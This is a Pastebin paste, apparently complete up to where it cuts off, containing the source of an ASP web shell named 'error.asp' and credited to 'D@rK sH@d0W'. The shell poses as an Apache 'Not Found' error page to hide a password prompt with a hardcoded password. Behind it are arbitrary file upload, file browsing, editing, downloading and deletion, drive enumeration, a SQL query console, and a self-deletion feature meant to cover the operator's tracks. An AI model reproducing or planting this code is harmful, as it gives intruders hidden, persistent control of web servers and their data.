Dark-shadow

error.asp

Aug 24th, 2016
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.79 KB | None | 0 0
  1. <%
  2. Function BufferContent(data)
  3. Dim strContent(64)
  4. Dim i
  5. ClearString strContent
  6. For i = 1 To LenB(data)
  7. AddString strContent,Chr(AscB(MidB(data,i,1)))
  8. Next
  9. BufferContent = fnReadString(strContent)
  10. End Function
  11.  
  12. Sub ClearString(part)
  13. Dim index
  14. For index = 0 to 64
  15. part(index)=""
  16. Next
  17. End Sub
  18.  
  19. Sub AddString(part,newString)
  20. Dim tmp
  21. Dim index
  22. part(0) = part(0) & newString
  23. If Len(part(0)) > 64 Then
  24. index=0
  25. tmp=""
  26. Do
  27. tmp=part(index) & tmp
  28. part(index) = ""
  29. index = index + 1
  30. Loop until part(index) = ""
  31. part(index) = tmp
  32. End If
  33. End Sub
  34.  
  35. Function fnReadString(part)
  36. Dim tmp
  37. Dim index
  38. tmp = ""
  39. For index = 0 to 64
  40. If part(index) <> "" Then
  41. tmp = part(index) & tmp
  42. End If
  43. Next
  44. FnReadString = tmp
  45. End Function
  46.  
  47.  
  48. Class FileUploader
  49. Public Files
  50. Private mcolFormElem
  51. Private Sub Class_Initialize()
  52. Set Files = Server.CreateObject("Scripting.Dictionary")
  53. Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
  54. End Sub
  55.  
  56. Private Sub Class_Terminate()
  57. If IsObject(Files) Then
  58. Files.RemoveAll()
  59. Set Files = Nothing
  60. End If
  61. If IsObject(mcolFormElem) Then
  62. mcolFormElem.RemoveAll()
  63. Set mcolFormElem = Nothing
  64. End If
  65. End Sub
  66.  
  67. Public Property Get Form(sIndex)
  68. Form = ""
  69. If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
  70. End Property
  71.  
  72. Public Default Sub Upload()
  73. Dim biData, sInputName
  74. Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
  75. Dim nPosFile, nPosBound
  76. biData = Request.BinaryRead(Request.TotalBytes)
  77. nPosBegin = 1
  78. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  79. If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
  80. vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  81. nDataBoundPos = InstrB(1, biData, vDataBounds)
  82. Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
  83. nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
  84. nPos = InstrB(nPos, biData, CByteString("name="))
  85. nPosBegin = nPos + 6
  86. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  87. sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  88. nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
  89. nPosBound = InstrB(nPosEnd, biData, vDataBounds)
  90. If nPosFile <> 0 And nPosFile < nPosBound Then
  91. Dim oUploadFile, sFileName
  92. Set oUploadFile = New UploadedFile
  93. nPosBegin = nPosFile + 10
  94. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  95. sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  96. oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
  97. nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
  98. nPosBegin = nPos + 14
  99. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  100. oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  101. nPosBegin = nPosEnd+4
  102. nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  103. oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  104. If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
  105. Else
  106. nPos = InstrB(nPos, biData, CByteString(Chr(13)))
  107. nPosBegin = nPos + 4
  108. nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  109. If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  110. End If
  111. nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
  112. Loop
  113. End Sub
  114.  
  115. 'String to byte string conversion
  116. Private Function CByteString(sString)
  117. Dim nIndex
  118. For nIndex = 1 to Len(sString)
  119. CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
  120. Next
  121. End Function
  122.  
  123. 'Byte string to string conversion
  124. Private Function CWideString(bsString)
  125. Dim nIndex
  126. CWideString =""
  127. For nIndex = 1 to LenB(bsString)
  128. CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
  129. Next
  130. End Function
  131. End Class
  132.  
  133.  
  134. Class UploadedFile
  135. Public ContentType
  136. Public FileName
  137. Public FileData
  138. Public Property Get FileSize()
  139. FileSize = LenB(FileData)
  140. End Property
  141.  
  142. Public Sub SaveToDisk(sPath)
  143. Dim oFS, oFile
  144. Dim nIndex
  145. If sPath = "" Or FileName = "" Then Exit Sub
  146. If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
  147. Set oFS = Server.CreateObject("Scripting.FileSystemObject")
  148. If Not oFS.FolderExists(sPath) Then Exit Sub
  149. Set oFile = oFS.CreateTextFile(sPath & FileName, True)
  150. ' output mechanism modified for buffering
  151. oFile.Write BufferContent(FileData)
  152. oFile.Close
  153. End Sub
  154.  
  155. Public Sub SaveToDatabase(ByRef oField)
  156. If LenB(FileData) = 0 Then Exit Sub
  157. If IsObject(oField) Then
  158. oField.AppendChunk FileData
  159. End If
  160. End Sub
  161. End Class
  162.  
  163. ' Create the FileUploader
  164. IF REQUEST.QueryString("upload")="@" THEN
  165. Dim Uploader, File
  166. Set Uploader = New FileUploader
  167.  
  168. ' This starts the upload process
  169. Uploader.Upload()
  170.  
  171. %>
  172. <html><title>ASPYDrvsInfo</title>
  173. <style>
  174. <!--
  175. A:link {font-style: text-decoration: none; color: #c8c8c8}
  176. A:visited {font-style: text-decoration: none; color: #777777}
  177. A:active {font-style: text-decoration: none; color: #ff8300}
  178. A:hover {font-style: text-decoration: cursor: hand; color: #ff8300}
  179. * {scrollbar-base-color:#777777;
  180. scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-color:#505050;
  181. scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-color:#303030;}
  182. input,select,table {font-family:verdana,arial;font-size:11px;text-decoration:none;border:1px solid #000000;}
  183. //-->
  184. </style>
  185. <body bgcolor=black text=white>
  186. <BR><BR><BR>
  187. <center><table bgcolor="#505050" cellpadding=4>
  188. <tr><td><Font face=arial size=-1>File upload Information:</font>
  189. </td></tr><tr><td bgcolor=black ><table>
  190. <%
  191.  
  192. ' Check if any files were uploaded
  193. If Uploader.Files.Count = 0 Then
  194. Response.Write "File(s) not uploaded."
  195. Else
  196. ' Loop through the uploaded files
  197. For Each File In Uploader.Files.Items
  198. File.SaveToDisk Request.QueryString("txtpath")
  199. Response.Write "<TR><TD>&nbsp;</TD></TR><tr><td><font color=gray>File Uploaded: </font></td><td>" & File.FileName & "</td></tr>"
  200. Response.Write "<tr><td><font color=gray>Size: </font></td><td>" & Int(File.FileSize/1024)+1 & " kb</td></tr>"
  201. Response.Write "<tr><td><font color=gray>Type: </font></td><td>" & File.ContentType & "</td></tr>"
  202. Next
  203. End If
  204. %>
  205. <TR><TD>&nbsp;</TD></TR></table>
  206. </td></tr></table><BR><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=Request.QueryString("txtpath")%>"><font face="webdings" title=" BACK " size=+2 >7</font></a></center>
  207. <%
  208. response.End() '---- XXX
  209. END IF
  210. '--------
  211. ON ERROR RESUME NEXT
  212. Response.Buffer = True
  213. password = "niloy" ' <-----------------------------------------------------{{{{[[[[Your password here]]]]}}}}------------------------
  214.  
  215. If request.querystring("logoff")="@" then
  216. session("shagman")="" ' Logged off
  217. session("dbcon")="" ' Database Connection
  218. session("txtpath")="" ' any pathinfo
  219. end if
  220.  
  221. If (session("shagman")<>password) and Request.form("code")="" Then
  222. %>
  223. <h1>Not Found</h1>
  224. <p>The requested URL was not found on this server.</p>
  225. <hr>
  226. <address>Apache Server at Error Port 80</address>
  227. <body bgcolor=white>
  228.  
  229.  
  230. <center>
  231. <table><tr><td>
  232. <FORM method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" >
  233. <table><tr><td align=center >
  234. <style>
  235. input { margin:0;background-color:#fff;border:1px solid #fff; }
  236. </style>
  237. <INPUT type=password name=code ></td><td>
  238. </td></tr></table>
  239. </td></tr><tr><td align=right>
  240. </td></tr>
  241. </td></tr></table></FORM>
  242. <%If request.querystring("logoff")="@" then%>
  243.  
  244. <%end if%>
  245.  
  246. <%
  247. Response.END
  248. End If
  249. If Request.form("code") = password or session("shagman") = password Then
  250. session("shagman") = password
  251. Else
  252. Response.Write "<h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at Error Port 80</address>"
  253. Response.END
  254. End If
  255.  
  256. server.scriptTimeout=180
  257. set fso = Server.CreateObject("Scripting.FileSystemObject")
  258. mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME"))
  259. mapPathLen = len(mapPath)
  260.  
  261. if session(myScriptName) = "" then
  262. for x = mapPathLen to 0 step -1
  263. myScriptName = mid(mapPath,x)
  264. if instr(1,myScriptName,"\")>0 then
  265. myScriptName = mid(mapPath,x+1)
  266. x=0
  267. session(myScriptName) = myScriptName
  268. end if
  269. next
  270. Else
  271. myScriptName = session(myScriptName)
  272. end if
  273.  
  274.  
  275. wwwRoot = left(mapPath, mapPathLen - len(myScriptName))
  276. Target = "#" ' ---Directory to which files will be DUMPED Too and From
  277.  
  278. if len(Request.querystring("txtpath"))=3 then
  279. pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname")
  280. else
  281. pathname = Request.querystring("txtpath") & "\" & Request.form("Fname")
  282. end if
  283.  
  284. If Request.Form("txtpath") = "" Then
  285. MyPath = Request.QueryString("txtpath")
  286. Else
  287. MyPath = Request.Form("txtpath")
  288. End If
  289.  
  290. ' ---Path correction routine
  291. If len(MyPath)=1 then MyPath=MyPath & ":\"
  292. If len(MyPath)=2 then MyPath=MyPath & "\"
  293. If MyPath = "" Then MyPath = wwwRoot
  294. If not fso.FolderExists(MyPath) then
  295. Response.Write "<font face=arial size=+2>Non-existing path specified.<BR>Please use browser back button to continue !"
  296. Response.end
  297. end if
  298.  
  299. set folder = fso.GetFolder(MyPath)
  300.  
  301. if fso.GetFolder(Target) = false then
  302. Response.Write "<font face=arial size=-2 color=red>Please create your target directory for copying files as it does not exist. </font><font face=arial size=-1 color=red>" & Target & "<BR></font>"
  303. else
  304. set fileCopy = fso.GetFolder(Target)
  305. end if
  306.  
  307.  
  308. If Not(folder.IsRootFolder) Then
  309. If len(folder.ParentFolder)>3 then
  310. showPath = folder.ParentFolder & "\" & folder.name
  311. Else
  312. showPath = folder.ParentFolder & folder.name
  313. End If
  314. Else
  315. showPath = left(MyPath,2)
  316. End If
  317.  
  318. MyPath=showPath
  319. showPath=MyPath & "\"
  320. ' ---Path correction routine-DONE
  321.  
  322. set drv=fso.GetDrive(left(MyPath,2))
  323.  
  324. if Request.Form("cmd")="Download" then
  325. if Request.Form("Fname")<>"" then
  326. Response.Buffer = True
  327. Response.Clear
  328. strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname")
  329. Set Sys = Server.CreateObject( "Scripting.FileSystemObject" )
  330. Set Bin = Sys.OpenTextFile( strFileName, 1, False )
  331. Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") )
  332. Response.ContentType = "application/octet-stream"
  333. While Not Bin.AtEndOfStream
  334. Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) )
  335. Wend
  336. Bin.Close : Set Bin = Nothing
  337. Set Sys = Nothing
  338. Else
  339. err.number=500
  340. err.description="Nothing selected for download..."
  341. End if
  342. End if
  343. %>
  344. <html>
  345. <style>
  346. <!--
  347. A:link {font-style: text-decoration: none; color: #c8c8c8}
  348. A:visited {font-style: text-decoration: none; color: #777777}
  349. A:active {font-style: text-decoration: none; color: #ff8300}
  350. A:hover {font-style: text-decoration: cursor: hand; color: #ff8300}
  351. * {scrollbar-base-color:#777777;
  352. scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-color:#505050;
  353. scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-color:#303030;}
  354. input,select,table {font-family:verdana,arial;font-size:11px;text-decoration:none;border:1px solid #000000;}
  355. //-->
  356. </style>
  357. <%
  358. 'QUERY ANALYSER -- START
  359. if request.QueryString("qa")="@" then
  360. '-------------
  361. sub getTable(mySQL)
  362. if mySQL="" then
  363. exit sub
  364. end if
  365. on error resume next
  366. Response.Buffer = True
  367. Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
  368. myConnectionString=session("dbCon")
  369. Set myDBConnection = Server.CreateObject("ADODB.Connection")
  370. myDBConnection.Open myConnectionString
  371. myFlag = False
  372. myFlag = errChk()
  373. set rs = Server.CreateObject("ADODB.Recordset")
  374. rs.cursorlocation = 3
  375. rs.open mySQL, myDBConnection
  376. myFlag = errChk()
  377.  
  378. if RS.properties("Asynchronous Rowset Processing") = 16 then
  379. For i = 0 To rs.Fields.Count - 1
  380. myFields = myFields & "<TD><font color=#eeeeee size=2 face=""Verdana, Arial, Helvetica, sans-serif"">" & rs.Fields(i).Name & "</font></TD>"
  381. Next
  382. myTitle = "<font color=gray size=6 face=webdings>?</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray><TT>(" & rs.RecordCount & " row(s) affected)</TT><br>"
  383. rs.MoveFirst
  384. rs.PageSize=mNR
  385. if int(rs.RecordCount/mNR) < mPage then mPage=1
  386. rs.AbsolutePage = mPage
  387. Response.Write myTitle & "</td><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"
  388. if mPage=1 Then Response.Write("<input type=button name=btnPagePrev value="" << "" DISABLED>") else Response.Write("<input type=button name=btnPagePrev value="" << "">")
  389. Response.Write "<select name=cmbPageSelect>"
  390. For x = 1 to rs.PageCount
  391. if x=mPage Then Response.Write("<option value=" & x & " SELECTED>" & x & "</option>") else Response.Write("<option value=" & x & ">" & x & "</option>")
  392. Next
  393. Response.Write "</select><input type=hidden name=mPage value=" & mPage & ">"
  394. if mPage = rs.PageCount Then Response.Write("<input type=button name=btnPageNext value="" >> "" DISABLED>") else Response.Write("<input type=button name=btnPageNext value="" >> "">")
  395. Response.Write "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray>Displaying <input type=text size=" & Len(mNR) & " name=txtNoRecords value=" & mNR & "> records at a time.</font>"
  396. response.Write "</td><TABLE border=0 bgcolor=#999999 cellpadding=2><TR align=center valign=middle bgcolor=#777777>" & myFields
  397.  
  398. For x = 1 to rs.PageSize
  399. If Not rs.EOF Then
  400. response.Write "<TR>"
  401. For i = 0 to rs.Fields.Count - 1
  402. response.Write "<TD bgcolor=#dddddd>" & server.HTMLEncode(rs(i)) & "</TD>"
  403. Next
  404. response.Write "</TR>"
  405. response.Flush()
  406. rs.MoveNext
  407. Else
  408. x=rs.PageSize
  409. End If
  410. Next
  411. response.Write "</Table>"
  412. myFlag = errChk()
  413.  
  414. else
  415. if not myFlag then
  416. myTitle = "<font color=#55ff55 size=6 face=webdings>i</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray><TT>(The command(s) completed successfully.)</TT><br>"
  417. response.Write myTitle
  418. end if
  419. end if
  420. set myDBConnection = nothing
  421. set rs2 = nothing
  422. set rs = nothing
  423.  
  424. End sub
  425.  
  426. sub getXML(mySQL)
  427. if mySQL="" then
  428. exit sub
  429. end if
  430. on error resume next
  431. Response.Buffer = True
  432. Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
  433. myConnectionString=session("dbCon")
  434. Set myDBConnection = Server.CreateObject("ADODB.Connection")
  435. myDBConnection.Open myConnectionString
  436. myFlag = False
  437. myFlag = errChk()
  438. set rs = Server.CreateObject("ADODB.Recordset")
  439. rs.cursorlocation = 3
  440. rs.open mySQL, myDBConnection
  441. myFlag = errChk()
  442. if RS.properties("Asynchronous Rowset Processing") = 16 then
  443. Response.Write "<font color=#55ff55 size=4 face=webdings>i</font><font color=#cccccc> Copy paste this code and save as '.xml '</font></td></tr><tr><td>"
  444. Response.Write "<textarea cols=75 name=txtXML rows=15>"
  445. rs.MoveFirst
  446. response.Write vbcrlf & "<?xml version=""1.0"" ?>"
  447. response.Write vbcrlf & "<TableXML>"
  448. Do While Not rs.EOF
  449. response.Write vbcrlf & "<Column>"
  450. For i = 0 to rs.Fields.Count - 1
  451. response.Write vbcrlf & "<" & rs.Fields(i).Name & ">" & rs(i) & "</" & rs.Fields(i).Name & ">" & vbcrlf
  452. response.Flush()
  453. Next
  454. response.Write "</Column>"
  455. rs.MoveNext
  456. Loop
  457. response.Write "</TableXML>"
  458. response.Write "</textarea>"
  459. myFlag = errChk()
  460.  
  461. else
  462. if not myFlag then
  463. myTitle = "<font color=#55ff55 size=6 face=webdings>i</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray><TT>(The command(s) completed successfully.)</TT><br>"
  464. response.Write myTitle
  465. end if
  466. end if
  467. End sub
  468.  
  469. Function errChk()
  470. if err.Number <> 0 and err.Number <> 13 then
  471. dim myText
  472. myText = "<font color=#ff8300 size=4 face=webdings>x</font><font color=red size=2 face=""Verdana, Arial, Helvetica, sans-serif""> " & err.Description & "</font><BR>"
  473. response.Write myText
  474. err.Number = 0
  475. errChk = True
  476. end if
  477. end Function
  478.  
  479. Dim myQuery,mPage,mNR
  480. myQuery = request.Form("txtSQL")
  481. if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon")
  482. if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath")
  483. mPage=cint(request.Form("mPage"))
  484. if mPage<1 then mPage=1
  485. mNR=cint(request.Form("txtNoRecords"))
  486. if mNR<1 then mNR=30
  487. %>
  488. <html><title>ASPyQAnalyser</title>
  489. <script language="VbScript">
  490. sub cmdSubmit_onclick
  491. if Document.frmSQL.txtSQL.value = "" then
  492. Document.frmSQL.txtSQL.value = "SELECT * FROM " & vbcrlf & "WHERE " & vbcrlf & "ORDER BY "
  493. exit sub
  494. end if
  495. Document.frmSQL.Submit
  496. end sub
  497. sub cmdTables_onclick
  498. Document.frmSQL.txtSQL.value = "select name as 'TablesListed' from sysobjects where xtype='U' order by name"
  499. Document.frmSQL.Submit
  500. end sub
  501. sub cmdColumns_onclick
  502. strTable =InputBox("Return Columns for which Table?","Table Name...")
  503. strTable = Trim(strTable)
  504. if len(strTable) > 0 Then
  505. SQL = "select name As 'ColumnName',xusertype As 'DataType',length as Length from syscolumns where id=(select id from sysobjects where xtype='U' and name='" & strTable & "') order by name"
  506. Document.frmSQL.txtSQL.value = SQL
  507. Document.frmSQL.Submit
  508. End if
  509. end sub
  510. sub cmdClear_onclick
  511. Document.frmSQL.txtSQL.value = ""
  512. end sub
  513. sub cmdBack_onclick
  514. Document.Location = "<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=session("txtpath")%>"
  515. end sub
  516. Sub btnPagePrev_OnClick
  517. Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1
  518. Document.frmSQL.Submit
  519. end sub
  520. Sub btnPageNext_OnClick
  521. Document.frmSQL.mPage.value = Document.frmSQL.mPage.value + 1
  522. Document.frmSQL.Submit
  523. end sub
  524. Sub cmbPageSelect_onchange
  525. Document.frmSQL.mPage.value = (Document.frmSQL.cmbPageSelect.selectedIndex + 1)
  526. Document.frmSQL.Submit
  527. End Sub
  528. Sub txtNoRecords_onclick
  529. Document.frmSQL.cmbPageSelect.selectedIndex = 0
  530. Document.frmSQL.mPage.value = 1
  531. End Sub
  532. </script>
  533. <style>
  534. TR {font-family: sans-serif;}
  535. </style>
  536. <body bgcolor=black>
  537. <br>
  538. <marquee behavior="alternate"> Shell Coded By - * D@rK sH@d0W * </marquee>
  539. <form name=frmSQL action="<%=Request.Servervariables("SCRIPT_NAME")%>?qa=@" method=Post>
  540. <table border="0"><tr>
  541. <td align=right><font color=#ff8300 size="4" face="webdings">@ </font><font color="#CCCCCC" size="1" face="Verdana, Arial, Helvetica, sans-serif">Paste
  542. your connection string here : </font><font color="#CCCCCC">
  543. <input name=txtCon type="text" size="60" value="<%=session("dbcon")%>">
  544. </font><BR>
  545. <textarea cols=75 name=txtSQL rows=4 wrap=PHYSICAL><%=myQuery%></textarea><BR>
  546. <input name=cmdSubmit type=button value=Submit><input name=cmdTables type=button value=Tables><input name=cmdColumns type=button value=Columns><input name="reset" type=reset value=Reset><input name=cmdClear type=button value=Clear><input name=cmdBack type=button value="Return"><input type="Checkbox" name="chkXML" <%IF Request.Form("chkXML")= "on" tHEN Response.Write " checked " %>><font color="#CCCCCC" size="1" face="Verdana, Arial, Helvetica, sans-serif">GenerateXML</FONT>
  547. </td>
  548. <td>XXXXXX</td><td>
  549. <marquee behavior="alternate"> Shell Coded By - * D@rK sH@d0W * </marquee>
  550. <center><font color=#ff8300 face=webdings size=6 >!</font><B><font color=Gray >D@rK</font> sH@d0W</B><font color=#ff8300 face=webdings size=6 >!</font><BR><font color=black size=-2><TT>by ~D@rK sH@d0W</TT></font></center>
  551. </td></tr></table>
  552. <table><tr><td><%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %></td></tr></table></form>
  553. <HR><P align=right><font color=#ff8300><TT>Copyright D@rK sH@d0W.</B></font><BR><font size=-1 color=gray>Cheers to <a href="mailto:[email protected]">e-mail</a> for all the help!</font></p><BR>
  554. </body>
  555. </html>
  556. <%
  557. set myDBConnection = nothing
  558. set rs2 = nothing
  559. set rs = nothing
  560. '-------------
  561. response.End()
  562. end if
  563. 'QUERY ANALYSER -- STOP
  564. %>
  565. <title><%=MyPath%></title>
  566. </head>
  567. <body bgcolor=black text=white topAprgin="0">
  568. <!-- Copyright Vela iNC. Apr2003 [go.site90.com] Coded by D@rK sH@d0W -->
  569. <%
  570. Response.Flush
  571. 'Code Optimisation START
  572. select case request.form("cmd")
  573. case ""
  574. If request.form("dirStuff")<>"" then
  575. Response.write "<font face=arial size=-2>You need to click [Create] or [Delete] for folder operations to be</font>"
  576. Else
  577. Response.Write "<font face=webdings size=+3 color=#ff8300>&#1570;</font>"
  578. End If
  579. case " Copy "
  580. ' ---Copy From Folder routine Start
  581. If Request.Form("Fname")="" then
  582. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.QueryString("txtpath") & "\???</font><BR>"
  583. err.number=424
  584. Else
  585. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "</font><BR>"
  586. fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname")
  587. Response.Flush
  588. End If
  589. ' ---Copy From Folder routine Stop
  590. case " Copy "
  591. ' ---Copy Too Folder routine Start
  592. If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then
  593. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "</font><BR>"
  594. Response.Flush
  595. fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy")
  596. Else
  597. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.Form("txtpath") & "\???</font><BR>"
  598. err.number=424
  599. End If
  600. ' ---Copy Too Folder routine Stop
  601. case "Delete" 'two of this
  602. if request.form("todelete")<>"" then
  603. ' ---File Delete start
  604. If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then
  605. Response.Write "<center><font face=arial size=-2 color=#ff8300><BR><BR><HR>SELFDESTRUCT INITIATED...<BR>"
  606. Response.Flush
  607. fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
  608. %>+++DONE+++</font><BR><HR>
  609. <font color=gray size=-2 face=arial title="To avoid anyone from seeing what you were doing by using the browser back button."><span style='cursor: hand;' OnClick=window.close(this);>CLOSE THIS WINDOW</font>
  610. <%Response.End
  611. End If
  612. If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then
  613. Response.Write "<font face=arial size=-2 color=#ff8300>Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "</font><BR>"
  614. Response.Flush
  615. fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
  616. Else
  617. Response.Write "<font face=arial size=-2 color=#ff8300>Deleting: " & Request.Form("txtpath") & "\???</font><BR>"
  618. err.number=424
  619. End If
  620. ' ---File Delete stop
  621. Else If request.form("dirStuff")<>"" then
  622. Response.Write "<font face=arial size=-2 color=#ff8300>Deleting folder...</font><BR>"
  623. fso.DeleteFolder MyPath & "\" & request.form("DirName")
  624. end if
  625. End If
  626.  
  627. case "Edit/Create"
  628. %>
  629. <center><BR><table bgcolor="#505050" cellpadding="8"><tr>
  630. <td bgcolor="#000000" valign="bottom">
  631. <Font face=arial SIZE=-2 color=#ff8300>NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate.</font>
  632. </td></tr><tr><td><TT>Path=> <%=pathname%><BR><BR>
  633. <%
  634. ' fetch file information
  635. Set f = fso.GetFile(pathname)
  636. %>
  637. file Type: <%=f.Type%><BR>
  638. file Size: <%=FormatNumber(f.size,0)%> bytes<BR>
  639. file Created: <%=FormatDateTime(f.datecreated,1)%>&nbsp;<%=FormatDateTime(f.datecreated,3)%><BR>
  640. last Modified: <%=FormatDateTime(f.datelastmodified,1)%>&nbsp;<%=FormatDateTime(f.datelastmodified,3)%><BR>
  641. last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%>&nbsp;<%=FormatDateTime(f.datelastaccessed,3)%><BR>
  642. file Attributes: <%=f.attributes%><BR>
  643. <%
  644. Set f = Nothing
  645. response.write "<center><FORM action=""" & Request.Servervariables("SCRIPT_NAME") & "?txtpath=" & MyPath & """ METHOD=""POST"">"
  646. 'read the file
  647. Set f = fso.OpenTextFile(pathname)
  648. If NOT f.AtEndOfStream Then fstr = f.readall
  649. f.Close
  650. Set f = Nothing
  651. Set fso = Nothing
  652. response.write "<TABLE><TR><TD>" & VBCRLF
  653. response.write "<FONT TITLE=""Use this text area to view or change the contents of this document. Click [Save As] to store the updated contents to the web server."" FACE=arial SIZE=1 ><B>DOCUMENT CONTENTS</B></FONT><BR>" & VBCRLF
  654. response.write "<TEXTAREA NAME=FILEDATA ROWS=16 COLS=85 WRAP=OFF>" & Server.HTMLEncode(fstr) & "</TEXTAREA>" & VBCRLF
  655. response.write "</TD></TR></TABLE>" & VBCRLF
  656. %>
  657. <BR><center><TT>LOCATION <INPUT TYPE="TEXT" SIZE=48 MAXLENGTH=255 NAME="PATHNAME" VALUE="<%=pathname%>">
  658. <INPUT TYPE="SUBMIT" NAME=cmd VALUE="Save As" TITLE="This write to the file specifed and overwrite it without warning.">
  659. <INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="Cancel" TITLE="If you recieve an error while saving, then most likely you do not have write access OR the file attributes are set to readonly !!">
  660. </FORM></td></tr></table><BR>
  661. <%
  662. response.end
  663.  
  664. case "Create"
  665. Response.Write "<font face=arial size=-2 color=#ff8300>Creating folder...</font><BR>"
  666. fso.CreateFolder MyPath & "\" & request.form("DirName")
  667.  
  668. case "Save As"
  669. Response.Write "<font face=arial size=-2 color=#ff8300>Saving file...</font><BR>"
  670. Set f = fso.CreateTextFile(Request.Form("pathname"))
  671. f.write Request.Form("FILEDATA")
  672. f.close
  673. end select
  674. 'Code Optimisation STOP
  675. ' ---DRIVES start here
  676. If request.querystring("getDRVs")="@" then
  677. %>
  678. <BR><BR><BR><center><table bgcolor="#505050" cellpadding=4>
  679. <tr><td><Font face=arial size=-1>Available Drive Information:</font>
  680. </td></tr><tr><td bgcolor=black >
  681. <table><tr><td><tt>Drive</td><td><tt>Type</td><td><tt>Path</td><td><tt>ShareName</td><td><tt>Size[MB]</td><td><tt>ReadyToUse</td><td><tt>VolumeLabel</td><td></tr>
  682. <%For Each thingy in fso.Drives%>
  683. <tr><td><tt>
  684. <%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thingy.Path%> </td><td><tt> <%=thingy.ShareName%> </td><td><tt> <%=((thingy.TotalSize)/1024000)%> </td><td><tt> <%=thingy.IsReady%> </td><td><tt> <%=thingy.VolumeName%>
  685. <%Next%>
  686. </td></tr></table>
  687. </td></tr></table><BR><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>"><font face="webdings" title=" BACK " size=+2 >7</font></a></center>
  688. <%
  689. Response.end
  690. end if
  691. ' ---DRIVES stop here
  692. %>
  693. <HEAD>
  694. <SCRIPT Language="VBScript">
  695. sub getit(thestuff)
